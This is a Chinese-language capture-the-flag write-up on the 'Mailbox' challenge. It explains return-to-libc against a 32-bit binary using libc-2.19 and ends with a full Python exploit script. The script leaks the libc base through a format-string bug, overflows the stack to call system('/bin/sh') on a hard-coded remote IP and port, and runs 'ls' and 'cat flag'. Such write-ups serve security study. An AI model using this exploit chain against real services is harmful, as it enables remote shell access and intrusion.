Mailbox(getshell) writeup —— ret2libc的利用

Hint:

ret2libc √

題目描述:

mailbox

libc-2.19.so

題目目錄下面還有另外一個flag文件:)需要拿到shell才能看得到


Writeup:

ret2libc即爲return-to-libc,返回到系統庫函數執行。

數據執行保護機制(Data Execution Prevention)將非代碼區段設置爲不可執行屬性,使得系統無法執行攻擊者注入的Shellcode。

利用ret2libc可使程序返回至系統庫函數,系統庫中有個system函數,向該函數提供參數“/bin/sh”可拿到目標服務器shell。

因此,需要利用棧溢出,用system的真實地址(libc基址+相對地址,系統庫函數的相對地址可以在libc-2.19.so中找到)覆蓋當前函數棧中的返回地址([ebp+0x4]),用“/bin/sh”的真實地址覆蓋棧中的第二個參數([ebp+0x0C])。第一個參數([ebp+0x8])需要用exit函數的真實地址覆蓋,作爲system函數執行完後的返回地址。


MailBox中已經發現了棧溢出點,於是乎得到system函數和“/bin/sh”的真實地址即可拿到Shell,而這些真實地址需要通過libc的基址進行計算得到。因此,libc基址是拿到Shell的關鍵。

第一次接觸ret2libc,對於獲取libc基址沒有什麼思路,從兩個大神的writeup中找到了獲取libc基址的方法。

1、用printf_plt覆蓋返回地址,用printf_got覆蓋第二個參數,exit函數覆蓋第一個參數,跳轉至printf_plt打印printf函數的真實地址,printf的真實地址減去相對地址即爲libc的基址;

2、在libc-2.19.so中找到__libc_start_main函數,該函數調用main函數,因此,調用main函數後的指令的地址即爲main函數的返回地址(相對)。在main的棧中找到返回地址([ebp+4]),利用MailBox的格式化字符串漏洞打印出來,用該地址減去main函數的返回地址(相對)即爲libc的基址。

libc的基址是動態變化的,每次連接服務器都會得到一個新的基址,因此,需要在一次連接中完成基址獲取和棧溢出。我認爲方法一更簡單一些,剛開始我也是通過這種方法獲取的,可是獲取基址的同時已經把棧溢出用掉了。如果想要ret2libc需要再次連接利用棧溢出,可是這時libc基址早已變化了,所以只好選擇方法二(方法一可能可以通過返回至函數開頭解決libc基址變化問題,有時間再嘗試一下)。

代碼如下:

#! /usr/bin/python
from zio import *
exit_plt = 0x08048990
io = zio(('121.201.7.145',7775))
'''#註冊賬號
io.read_until('Quit')
io.writeline('1' )
io.read_until('Name:')
io.writeline('volvo' )
io.read_until('Pass:')
io.writeline('volvo' )
'''
io.read_until('Quit')
io.writeline('2')		#登錄
io.read_until('Name:')
io.writeline('volvo')
io.read_until('pass:')
io.writeline('volvo')
io.read_until('Quit')
io.writeline('3')		#SendMail
io.read_until('To:')
io.writeline('zxczxc')

io.read_until('Title:')
title = '%e'*45 + '%x'	<span style="white-space:pre">	#打印棧幀內容
io.writeline(title)
io.read_until('Body:')
base_addr = input("Input the ret_addr:") - 0x00019A83	#輸入main返回地址
system_addr = base_addr + 0x00040190
binsh_addr = base_addr + 0x00160a24
body = 'a' * 51 + l32(system_addr) + l32(exit_plt) + l32(binsh_addr)	#ret2libc
io.writeline(body)
io.writeline('ls')
io.writeline('cat flag')
io.interact()

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章